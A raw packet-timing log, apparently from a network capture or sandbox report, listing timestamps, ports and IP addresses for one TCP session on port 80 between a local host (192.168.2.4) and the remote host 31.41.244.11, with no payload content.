Dec 12, 2024 14:27:00.006850958 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.006872892 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.007344007 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.007590055 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.007643938 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.007659912 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.007880926 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.008460045 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.008542061 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.008565903 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.009655952 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.009711027 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.009711027 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.009769917 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.010449886 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.010601044 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.010621071 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.010621071 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.011131048 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.011173010 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.011173010 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.011400938 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.011439085 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.011904955 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.011976957 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.012073040 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.012415886 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.012779951 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.012840033 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.012841940 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.012892008 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.013726950 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.013794899 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.160917997 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.160934925 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.161287069 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.161293983 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.161345005 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.161355019 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.161897898 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.162298918 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.162348032 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.162836075 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.162879944 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.163122892 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.163291931 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.163573980 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.163599014 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.163646936 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.163646936 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.164053917 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.164103031 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.164122105 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.164170027 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.164885044 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.164951086 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.164995909 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.164995909 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.165749073 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.165865898 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.165895939 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.166013956 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.166614056 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.166675091 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.166712999 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.166712999 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.167457104 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.167568922 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.167989016 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.168097019 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.168339968 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.168356895 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.168401003 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.168401003 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.169650078 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.169666052 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.169696093 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.169709921 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.170120955 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.170136929 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.170171022 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.170171022 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.170892954 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.170938015 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.171019077 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.171144009 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.171792984 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.171921968 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.172152996 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.172286034 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.172792912 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.172810078 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.172852993 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.172852993 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.173459053 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.173543930 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.173569918 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.173585892 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.174308062 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.174354076 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.174387932 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.174705982 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.175369024 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.175385952 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.175430059 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.175430059 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.176135063 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.176209927 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.176234961 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.176253080 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.176980019 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.177100897 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.177139997 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.177139997 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.177843094 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.177920103 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.177957058 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.177957058 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.178751945 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.178795099 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.178881884 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.179277897 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.179500103 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.179517031 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.179558992 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.179559946 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.180321932 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.180383921 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.180563927 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.180844069 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.181210041 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.181399107 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.181432962 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.181482077 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.182101965 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.182117939 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.182157040 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.182157040 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.183124065 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.183187008 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.183255911 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.183336020 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.183944941 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.184048891 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.184073925 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.184086084 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.184629917 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.184784889 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.185291052 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.185339928 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.185640097 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.185656071 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.185729027 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.185729027 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.186357021 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.186456919 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.186496019 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.186496019 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.187207937 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.187237978 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.187273979 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.187273979 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.188055992 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.188221931 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.188261986 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.188261986 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.188944101 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.188968897 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.188997030 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.189008951 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.189755917 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.189867020 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.189955950 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.189999104 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.190659046 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.190675974 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.190716982 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.190716982 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.191701889 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.191719055 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.191761017 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.191761017 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.192348957 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.192409992 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.192487955 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.192539930 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.193303108 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.193423986 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.193464041 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.193464041 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.194109917 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.194150925 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.194189072 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.194189072 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.195552111 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.195568085 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.195602894 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.195616007 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.195902109 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.195919037 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.195960999 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.195960999 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.196655035 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.196696043 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.196926117 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.196969032 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.197536945 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.197638988 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.197639942 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.197680950 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.198357105 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.198416948 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.198532104 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.198570967 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.199301004 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.199379921 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.199419022 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.199419022 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.200309992 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.200378895 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.200417042 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.200417042 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.201512098 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.201551914 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.201565981 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.201591969 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.202250004 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.202294111 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.202351093 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.202430010 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.202955961 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.202967882 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.202990055 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.203015089 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.203556061 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.203666925 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.203722954 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.203813076 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.204372883 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.204416990 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.204438925 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.204488993 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.205203056 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.205449104 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.205601931 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.205707073 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.352965117 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.353065014 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.353101015 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.353101969 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.353384972 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.353441000 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.353473902 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.353518963 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.354276896 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.354351044 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.354363918 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.354410887 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.355324984 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.355396032 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.355412006 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.355963945 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.355989933 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.356050968 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.356287003 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.356946945 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.356992006 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.356992006 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.357032061 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.357835054 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.357847929 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.357870102 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.357870102 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.358674049 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.358717918 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.358717918 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.358817101 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.359333992 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.359462023 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.359484911 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.359498978 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.359961033 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.360402107 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.360418081 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.360444069 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.361186028 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.361227036 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.361227036 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.361242056 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.362019062 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.362056971 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.362056971 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.362062931 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.362854004 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.362893105 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.362893105 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.362915039 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.363329887 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.363825083 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.363841057 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.363856077 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.364473104 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.364602089 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.364641905 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.364754915 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.364856005 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.365554094 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.365567923 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.365593910 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.366338968 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.366363049 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.366437912 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.366472006 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.366472006 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.367198944 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.367238998 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.367357016 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.367392063 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.368010044 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.368048906 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.368093014 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.368572950 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.368875980 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.368890047 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.368928909 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.368928909 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.369714022 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.369755030 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.369765043 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.370104074 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.370563984 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.370620012 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.370634079 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.370666981 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.371514082 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.371568918 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.371601105 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.371601105 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.372307062 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.372390985 CET	49878	80	192.168.2.4	31.41.244.11
